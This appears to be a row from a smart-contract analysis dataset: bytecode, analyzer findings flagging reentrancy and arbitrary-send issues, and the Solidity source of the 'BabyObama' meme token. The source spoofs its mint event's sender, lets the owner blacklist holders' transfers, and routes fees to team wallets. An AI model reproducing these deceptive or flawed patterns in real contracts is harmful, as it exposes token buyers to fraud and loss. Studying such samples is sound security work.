ffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600e60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690612fd1565b60405180910390fd5b5b5b600f5481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600e60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b603c42611a739190613127565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610783565b9050600e60159054906101000a900460ff16158015611b2f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600e60169054906101000a900460ff165b15611b6f57611b5581611d72565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e84848484612131565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612e4f565b60405180910390fd5b5060008385611c8b9190613208565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d00573d6000803e3d6000fd5b5050565b6000600654821115611d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4290612e91565b60405180910390fd5b6000611d5561215e565b9050611d6a81846120e790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dd0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfe5781602001602082028036833780820191505090505b5090503081600081518110611e3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ede57600080fd5b505afa158015611ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1691906128be565b81600181518110611f50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201b95949392919061300c565b600060405180830381600087803b15801561203557600080fd5b505af1158015612049573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207f57600090506120e1565b6000828461208d91906131ae565b905082848261209c919061317d565b146120dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d390612f11565b60405180910390fd5b809150505b92915050565b600061212983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612189565b905092915050565b8061213f5761213e6121ec565b5b61214a84848461221d565b80612158576121576123e8565b5b50505050565b600080600061216b6123fa565b9150915061218281836120e790919063ffffffff16565b9250505090565b600080831182906121d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c79190612e4f565b60405180910390fd5b50600083856121df919061317d565b9050809150509392505050565b600060085414801561220057506000600954145b1561220a5761221b565b600060088190555060006009819055505b565b60008060008060008061222f8761245c565b95509550955095509550955061228d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236e8161256b565b6123788483612628565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d59190612ff1565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea000009050612430683635c9adc5dea000006006546120e790919063ffffffff16565b82101561244f57600654683635c9adc5dea00000935093505050612458565b81819350935050505b9091565b60008060008060008060008060006124788a6008546005612662565b925092509250600061248861215e565b9050600080600061249b8e8787876126f8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b600080828461251c9190613127565b905083811015612561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255890612ed1565b60405180910390fd5b8091505092915050565b600061257561215e565b9050600061258c828461206c90919063ffffffff16565b90506125e081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263d826006546124c390919063ffffffff16565b6006819055506126588160075461250d90919063ffffffff16565b6007819055505050565b60008060008061268e6064612680888a61206c90919063ffffffff16565b6120e790919063ffffffff16565b905060006126b860646126aa888b61206c90919063ffffffff16565b6120e790919063ffffffff16565b905060006126e1826126d3858c6124c390919063ffffffff16565b6124c390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612711858961206c90919063ffffffff16565b90506000612728868961206c90919063ffffffff16565b9050600061273f878961206c90919063ffffffff16565b905060006127688261275a85876124c390919063ffffffff16565b6124c390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279461278f846130a6565b613081565b905080838252602082019050828560208602820111156127b357600080fd5b60005b858110156127e357816127c988826127ed565b8452602084019350602083019250506001810190506127b6565b5050509392505050565b6000813590506127fc816136e4565b92915050565b600081519050612811816136e4565b92915050565b600082601f83011261282857600080fd5b8135612838848260208601612781565b91505092915050565b600081359050612850816136fb565b92915050565b600081519050612865816136fb565b92915050565b60008135905061287a81613712565b92915050565b60008151905061288f81613712565b92915050565b6000602082840312156128a757600080fd5b60006128b5848285016127ed565b91505092915050565b6000602082840312156128d057600080fd5b60006128de84828501612802565b91505092915050565b600080604083850312156128fa57600080fd5b6000612908858286016127ed565b9250506020612919858286016127ed565b9150509250929050565b60008060006060848603121561293857600080fd5b6000612946868287016127ed565b9350506020612957868287016127ed565b92505060406129688682870161286b565b9150509250925092565b6000806040838503121561298557600080fd5b6000612993858286016127ed565b92505060206129a48582860161286b565b9150509250929050565b6000602082840312156129c057600080fd5b600082013567ffffffffffffffff8111156129da57600080fd5b6129e684828501612817565b91505092915050565b600060208284031215612a0157600080fd5b6000612a0f84828501612841565b91505092915050565b600060208284031215612a2a57600080fd5b6000612a3884828501612856565b91505092915050565b600060208284031215612a5357600080fd5b6000612a618482850161286b565b91505092915050565b600080600060608486031215612a7f57600080fd5b6000612a8d86828701612880565b9350506020612a9e86828701612880565b9250506040612aaf86828701612880565b9150509250925092565b6000612ac58383612ad1565b60208301905092915050565b612ada8161323c565b82525050565b612ae98161323c565b82525050565b6000612afa826130e2565b612b048185613105565b9350612b0f836130d2565b8060005b83811015612b40578151612b278882612ab9565b9750612b32836130f8565b925050600181019050612b13565b5085935050505092915050565b612b568161324e565b82525050565b612b6581613291565b82525050565b6000612b76826130ed565b612b808185613116565b9350612b908185602086016132a3565b612b99816133dd565b840191505092915050565b6000612bb1602383613116565b9150612bbc826133ee565b604082019050919050565b6000612bd4602a83613116565b9150612bdf8261343d565b604082019050919050565b6000612bf7602283613116565b9150612c028261348c565b604082019050919050565b6000612c1a601b83613116565b9150612c25826134db565b602082019050919050565b6000612c3d601d83613116565b9150612c4882613504565b602082019050919050565b6000612c60602183613116565b9150612c6b8261352d565b604082019050919050565b6000612c83602083613116565b9150612c8e8261357c565b602082019050919050565b6000612ca6602983613116565b9150612cb1826135a5565b604082019050919050565b6000612cc9602583613116565b9150612cd4826135f4565b604082019050919050565b6000612cec602483613116565b9150612cf782613643565b604082019050919050565b6000612d0f601783613116565b9150612d1a82613692565b602082019050919050565b6000612d32601183613116565b9150612d3d826136bb565b602082019050919050565b612d518161327a565b82525050565b612d6081613284565b82525050565b6000602082019050612d7b6000830184612ae0565b92915050565b6000604082019050612d966000830185612ae0565b612da36020830184612ae0565b9392505050565b6000604082019050612dbf6000830185612ae0565b612dcc6020830184612d48565b9392505050565b600060c082019050612de86000830189612ae0565b612df56020830188612d48565b612e026040830187612b5c565b612e0f6060830186612b5c565b612e1c6080830185612ae0565b612e2960a0830184612d48565b979650505050505050565b6000602082019050612e496000830184612b4d565b92915050565b60006020820190508181036000830152612e698184612b6b565b905092915050565b60006020820190508181036000830152612e8a81612ba4565b9050919050565b60006020820190508181036000830152612eaa81612bc7565b9050919050565b60006020820190508181036000830152612eca81612bea565b9050919050565b60006020820190508181036000830152612eea81612c0d565b9050919050565b60006020820190508181036000830152612f0a81612c30565b9050919050565b60006020820190508181036000830152612f2a81612c53565b9050919050565b60006020820190508181036000830152612f4a81612c76565b9050919050565b60006020820190508181036000830152612f6a81612c99565b9050919050565b60006020820190508181036000830152612f8a81612cbc565b9050919050565b60006020820190508181036000830152612faa81612cdf565b9050919050565b60006020820190508181036000830152612fca81612d02565b9050919050565b60006020820190508181036000830152612fea81612d25565b9050919050565b60006020820190506130066000830184612d48565b92915050565b600060a0820190506130216000830188612d48565b61302e6020830187612b5c565b81810360408301526130408186612aef565b905061304f6060830185612ae0565b61305c6080830184612d48565b9695505050505050565b600060208201905061307b6000830184612d57565b92915050565b600061308b61309c565b905061309782826132d6565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c1576130c06133ae565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131328261327a565b915061313d8361327a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317257613171613350565b5b828201905092915050565b60006131888261327a565b91506131938361327a565b9250826131a3576131a261337f565b5b828204905092915050565b60006131b98261327a565b91506131c48361327a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fd576131fc613350565b5b828202905092915050565b60006132138261327a565b915061321e8361327a565b92508282101561323157613230613350565b5b828203905092915050565b60006132478261325a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329c8261327a565b9050919050565b60005b838110156132c15780820151818401526020810190506132a6565b838111156132d0576000848401525b50505050565b6132df826133dd565b810181811067ffffffffffffffff821117156132fe576132fd6133ae565b5b80604052505050565b60006133128261327a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334557613344613350565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ed8161323c565b81146136f857600080fd5b50565b6137048161324e565b811461370f57600080fd5b50565b61371b8161327a565b811461372657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201050b54982a2a12cdb776e1708dfe7f6047cf660aecd2f13acd303e47850f52964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,018 |
0xee5a7a14dcaafc9b17201d579b136952ad844d6f
|
/**
*Submitted for verification at BscScan.com on 2021-07-26
*/
/**
*Join us to t.me/BabyObamaERC
*/
/**
*/
/**
*Submitted for verification
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyObama is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "BabyObama";
string private constant _symbol = "BabyObama";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600981526020017f426162794f62616d610000000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b6000479050610783